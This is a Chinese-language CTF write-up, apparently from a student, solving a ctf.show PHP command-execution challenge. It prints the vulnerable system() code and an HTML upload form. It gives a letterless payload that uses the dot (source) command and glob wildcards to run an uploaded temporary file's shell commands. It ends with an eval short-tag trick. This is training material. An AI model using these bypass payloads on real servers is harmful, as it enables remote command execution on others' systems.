这几天都没有怎么学习,基本上都是复习学科知识,因为我们要期末考试。刚刚好今天有时间来做了一道命令执行的题,再一次拜读了 p神的文章。受益匪浅。
直接进入正题
源代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
错误思想
你们是在炫技??
哎,看的代码的时候就只能使用一些特殊符号。
先说说自己错误的方法吧,自己是使用^
运算符进行拼接命令然后执行。然后发现其他它改变就不会执行也不是eval()
函数,然后就失败了。
最后大佬提醒了一下:说没有过滤 .(点)
然后我百度了一下.(点)
的用法,就是相当于source
可以执行sh命令。linux下的.使用
但是自己在本地实验没有成功~~~
自己想应该是错误信息没有回显吧,之后思路就没有了。
最后想起来自己之前看过p神的一篇文章。无字母数字webshell之提高篇
茅塞顿开
看了之后才发现,我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)
去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过
.去执行sh命令不需要有执行权限
开淦
在这个之前我们需要构造一个post上传文件的数据包。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包
如图
构造poc执行命令
?c=.+/???/????????[@-[]
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
然后在上传文件内容添加sh命令
#!/bin/sh
ls
直接读flag
总结
这道题主要是利用 上传文件到临时命令去通过.(点)
去执行该上传文件的内容。
和之前的CTFSHOW 红包题第二弹有异曲同工之妙
总的来说谢谢P神的文章和y1ng师傅的文章。
参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.gem-love.com/websecurity/1407.html#PHP%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C
最后说明一下为什么在使用eval()函数有时候需要添加?>
<?php
eval($_GET[1]);
#如果我们通过<?=`ls`;去执行的话需要在前面添加?>
原因是eval()函数相当于执行php的代码,而<?= 就相当于<?php echo
在PHP7以上不管short_open_tag配置是不是开启的。都可以使用。
所以就相当于一个新的PHP文件,这样的话就需要将最开始前面的<?php给闭合,不然不会执行。
闭合之后就相当于
<?php
?>
<?=`ls`;